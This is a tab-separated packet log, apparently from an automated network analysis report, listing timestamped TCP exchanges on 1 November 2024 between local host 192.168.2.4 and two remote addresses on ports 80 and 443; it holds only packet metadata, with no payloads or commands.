Nov 1, 2024 08:51:35.877288103 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:35.877295971 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:35.877305031 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:35.877315044 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:35.877324104 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:35.877341032 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:35.877342939 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:35.877346039 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:35.877367973 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:35.877377033 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:35.877392054 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:35.877434015 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:35.877444029 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:35.877466917 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:35.877494097 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:35.877504110 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:35.877564907 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:35.877580881 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:35.877597094 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:35.877607107 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:35.877640963 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:35.877939939 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:35.877989054 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:35.878015041 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:35.878015995 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:35.878060102 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:35.878066063 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:35.878077984 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:35.878096104 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:35.878130913 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:35.878130913 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:35.878379107 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:35.878395081 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:35.878421068 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:35.878422976 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:35.878439903 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:35.878456116 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:35.878458023 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:35.878472090 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:35.878503084 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:35.878777981 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:35.878823996 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:35.878875971 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:35.878901958 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:35.878918886 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:35.878922939 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:35.878936052 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:35.878947020 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:35.878958941 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:35.878961086 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:35.878979921 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:35.878979921 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:35.878995895 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:35.879004955 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:35.879024982 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:35.879039049 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:35.916235924 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:35.916265011 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:35.916284084 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:35.916313887 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:35.916348934 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:35.916389942 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:35.916407108 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:35.916433096 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:35.916456938 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:35.939037085 CET	443	57800	188.114.96.3	192.168.2.4
Nov 1, 2024 08:51:35.939137936 CET	443	57800	188.114.96.3	192.168.2.4
Nov 1, 2024 08:51:35.939186096 CET	57800	443	192.168.2.4	188.114.96.3
Nov 1, 2024 08:51:35.939275026 CET	57800	443	192.168.2.4	188.114.96.3
Nov 1, 2024 08:51:35.939297915 CET	443	57800	188.114.96.3	192.168.2.4
Nov 1, 2024 08:51:35.964236975 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:35.964294910 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:35.964313984 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:35.964329004 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:35.964351892 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:35.964351892 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:35.964371920 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:35.964390993 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:35.968491077 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:35.968508005 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:35.968523026 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:35.968543053 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:35.968574047 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:35.999505043 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:35.999522924 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:35.999546051 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:35.999562979 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:35.999572992 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:35.999588013 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:35.999588966 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:35.999603033 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:35.999627113 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:35.999655008 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:36.001178980 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:36.001225948 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:36.001241922 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:36.001243114 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:36.001282930 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:36.001286983 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:36.001301050 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:36.001307964 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:36.001327991 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:36.001347065 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:36.001398087 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:36.001422882 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:36.001437902 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:36.001441956 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:36.001462936 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:36.001476049 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:36.001555920 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:36.001600981 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:36.001601934 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:36.001619101 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:36.001635075 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:36.001646996 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:36.001667023 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:36.001678944 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:36.001838923 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:36.001885891 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:36.001890898 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:36.001913071 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:36.001929998 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:36.001934052 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:36.001946926 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:36.001954079 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:36.001974106 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:36.001990080 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:36.002638102 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:36.002684116 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:36.002690077 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:36.002701044 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:36.002727032 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:36.002734900 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:36.002741098 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:36.002751112 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:36.002768040 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:36.002779007 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:36.002798080 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:36.002809048 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:36.002820015 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:36.002825022 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:36.002846956 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:36.002851009 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:36.002866030 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:36.002866983 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:36.002883911 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:36.002891064 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:36.002901077 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:36.002906084 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:36.002926111 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:36.002928972 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:36.002938986 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:36.002940893 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:36.002960920 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:36.002979994 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:36.003365993 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:36.003381968 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:36.003398895 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:36.003416061 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:36.003428936 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:36.003448009 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:36.040000916 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:36.040016890 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:36.040031910 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:36.040059090 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:36.040087938 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:36.083005905 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:36.083033085 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:36.083106995 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:36.083142996 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:36.088499069 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:36.088538885 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:36.088555098 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:36.088556051 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:36.088581085 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:36.088598967 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:36.092446089 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:36.092461109 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:36.092498064 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:36.092502117 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:36.092506886 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:36.092534065 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:36.092545986 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:36.092575073 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:36.123430967 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:36.123457909 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:36.123473883 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:36.123497963 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:36.123532057 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:36.125293016 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:36.125309944 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:36.125328064 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:36.125344038 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:36.125350952 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:36.125365019 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:36.125380993 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:36.125391006 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:36.125425100 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:36.125560045 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:36.125601053 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:36.125605106 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:36.125622988 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:36.125644922 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:36.125663042 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:36.125682116 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:36.125698090 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:36.125714064 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:36.125722885 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:36.125731945 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:36.125735044 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:36.125750065 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:36.125757933 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:36.125776052 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:36.125790119 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:36.126107931 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:36.126135111 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:36.126151085 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:36.126156092 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:36.126179934 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:36.126189947 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:36.126210928 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:36.126226902 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:36.126241922 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:36.126255035 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:36.126259089 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:36.126277924 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:36.126280069 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:36.126298904 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:36.126323938 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:36.126655102 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:36.126698971 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:36.126730919 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:36.126746893 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:36.126761913 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:36.126779079 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:36.126786947 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:36.126796007 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:36.126811028 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:36.126847029 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:36.127074003 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:36.127111912 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:36.127126932 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:36.127145052 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:36.127168894 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:36.127175093 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:36.127180099 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:36.127192020 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:36.127213955 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:36.127223969 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:36.127224922 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:36.127240896 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:36.127257109 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:36.127262115 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:36.127271891 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:36.127278090 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:36.127294064 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:36.127310991 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:36.127748966 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:36.127765894 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:36.127780914 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:36.127793074 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:36.127805948 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:36.127826929 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:36.164139986 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:36.164191961 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:36.164203882 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:36.164235115 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:36.164501905 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:36.164546967 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:36.164552927 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:36.164593935 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:36.212573051 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:36.212589979 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:36.212606907 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:36.212639093 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:36.212657928 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:36.215123892 CET	57806	443	192.168.2.4	188.114.96.3
Nov 1, 2024 08:51:36.215171099 CET	443	57806	188.114.96.3	192.168.2.4
Nov 1, 2024 08:51:36.215234041 CET	57806	443	192.168.2.4	188.114.96.3
Nov 1, 2024 08:51:36.215553999 CET	57806	443	192.168.2.4	188.114.96.3
Nov 1, 2024 08:51:36.215569973 CET	443	57806	188.114.96.3	192.168.2.4
Nov 1, 2024 08:51:36.216700077 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:36.216716051 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:36.216733932 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:36.216751099 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:36.216762066 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:36.216778040 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:36.216813087 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:36.252996922 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:36.253014088 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:36.253038883 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:36.253055096 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:36.253071070 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:36.253086090 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:36.253102064 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:36.253115892 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:36.253118038 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:36.253134966 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:36.253145933 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:36.253151894 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:36.253166914 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:36.253170013 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:36.253190994 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:36.253194094 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:36.253209114 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:36.253211975 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:36.253242970 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:36.253251076 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:36.253268003 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:36.253285885 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:36.253290892 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:36.253312111 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:36.253317118 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:36.253325939 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:36.253334999 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:36.253350973 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:36.253357887 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:36.253374100 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:36.253380060 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:36.253397942 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:36.253406048 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:36.253410101 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:36.253426075 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:36.253441095 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:36.253449917 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:36.253459930 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:36.253468037 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:36.253478050 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:36.253484011 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:36.253494978 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:36.253495932 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:36.253510952 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:36.253535032 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:36.254292965 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:36.254307985 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:36.254323959 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:36.254338026 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:36.254345894 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:36.254347086 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:36.254364014 CET	80	57777	185.215.113.16	192.168.2.4
